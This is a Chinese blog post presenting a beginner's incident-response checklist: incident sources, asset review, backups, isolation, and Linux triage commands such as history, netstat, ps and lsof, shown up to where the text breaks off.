原创 <span>猎户sonic</span> <span>2022-08-01 08:16</span> <span style="display: inline-block;">北京</span>
</p>

<p>最近做了一些应急响应，在响应的时候也翻查了不少资料，发现大部分都是按照攻击来分类进行响应工作；寻摸着能不能有个一条龙的线路去进行应急响应(毕竟新手，倍感压力)，于是粗略的整理了下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ce6cba45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MVWuNJ9nqooBiaRPgzicXGKcufLZTJkCLSiaVcD9KRW1zGn4sUe6zMVqdEPjTaw44icJnMY679hiavv9QA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x00 引子</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">最近做了一些应急响应，在响应的时候也翻查了不少资料，发现大部分都是按照攻击来分类进行响应工作；寻摸着能不能有个一条龙的线路去进行应急响应(毕竟新手，倍感压力)，于是粗略的整理了下；期间翻看了很多文章，把我认为可能用到的东西引导到了总结之中，所以本文仅为总结，非全部原创，难免谬误之处，请大家斧正，求大佬们手口留情。<br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0325" data-s="300,640" style="" data-type="jpeg" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=d212431d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MVWuNJ9nqooBiaRPgzicXGKcum2pBOMoBcVEQMjasZR5ALdLO66MThiaLC2n4nXRYmIU0EwWgDb0R1Ow%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x01 事件发现</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">关于事件的发现，通常来源于：</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1.安全设备</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">扫描IP 、威胁阻断、 日志审计、 病毒木马、 入侵事件、 异常流量、 暴力破解等</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2.内/外部通报</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">如CNNVD/各SRC/HW裁判组等通报信息</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3.蜜罐捕获</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">攻击行为、 攻击者画像</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.钓鱼监控</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意样本</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意URL</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意邮件</span></p></li></ul><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">针对恶意邮件，可查看邮件原文，查看发件人的IP地址；X-Originating-IP即为发件人ip地址。</p></blockquote><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.其他渠道消息来源</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">如QQ/微信群或其他如暗网信息等</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x02 了解涉事资产部署情况</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1.部署时间</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">了解资产部署时间，可在后期推断日志信息，给予有利帮助</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2.挂载应用</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">应用架构</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">服务、功能（上传功能？SQL语句维护功能？）</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">是否存在第三接口</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">是否存在第三方平台</span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3.端口、服务</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">开放的访问端口，部署的哪些服务</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.业务内容</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">业务内容是否敏感，核心业务还是边缘业务，业务使用对象是内部还是外部，是否涉及敏感数据等</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.是否开放公网访问</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">仅内网访问还是对外开放，确认应急范围</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">6.是否存在通用密码、弱口令</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">7.是否有维护厂商</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">8.是否纳入安全防护辖区</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.历史漏洞情况</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过历史漏洞情况掌握系统可靠性，并确认漏洞是否修复</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">10.是否有定期进行安全扫描</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">11.是否近期有日常维护、安全维护</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">12.是否安装防护软件，软件是否升级</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">13.是否针对热门漏洞升级补丁或修复</span></h4><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">涉事资产所属部门</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">确认资产归属部门，方便情况了解及沟通</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x03 备份保护</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1.系统镜像/快照</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">是否虚机或云机，可先镜像或快照备份，保留涉事资产镜像</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2.应用程序备份</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">对应用程序整体备份，避免涉事环境破坏</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3.数据库备份</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">对数据库整体备份，避免涉事环境破坏</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.后期排查中发现的可疑文件备份</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">备份可疑文件可为溯源等行为做信息支撑</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x04 阻断隔离处理</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">业务下线</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">有下线条件的及时进行业务下线，及时止损；</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">网络隔离阻断</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">及时对业务资产进行网络阻断隔离；</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">进程阻断</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">对发现的恶意进程等及时阻断</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x05 事件研判</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1 Linux篇</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">为避免遗漏，通过以下几个方面进行研判：</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.1 history</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过执行</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">history</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">或</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>cat /root/.bash_history<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">命令，获取历史操作记录，检查是否有执行可疑命令</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.2 网络连接（端口）</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过命令查看网络连接及端口连接：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>netstat -anltp<br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.3进程</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">常用命令：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ps -ef<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>ps -aux<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看进程对应pid：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>pgrep -l httpd<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看pid对应进程：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ls -ll /proc/{PID}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">或</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>file /proc/{PID}/exe<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">进程分析：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>lsof -p {PID}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看进程启动时间：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ps -p 7224 -o lstart<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看有没有可疑进程</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ps -aef | grep inetd (注：inetd 程序是一个Linux守护进程)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">检测隐藏进程：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ps -ef | awk <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;{print}&#39;</span> | sort -n |uniq &gt;1<br/></code></pre><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">参考：<a href="http://cn-sec.com/archives/974710.html" target="_blank">http://cn-sec.com/archives/974710.html</a></p></blockquote><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1.4 文件：</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.查看文件时注意查看隐藏文件，如“..”开头的文件夹</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ls -lat<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">2.查看24小时内修改的文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>find ./ -mtime 0 -name <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;*.jsp&#34;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">3.查看24小时内创建的文件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 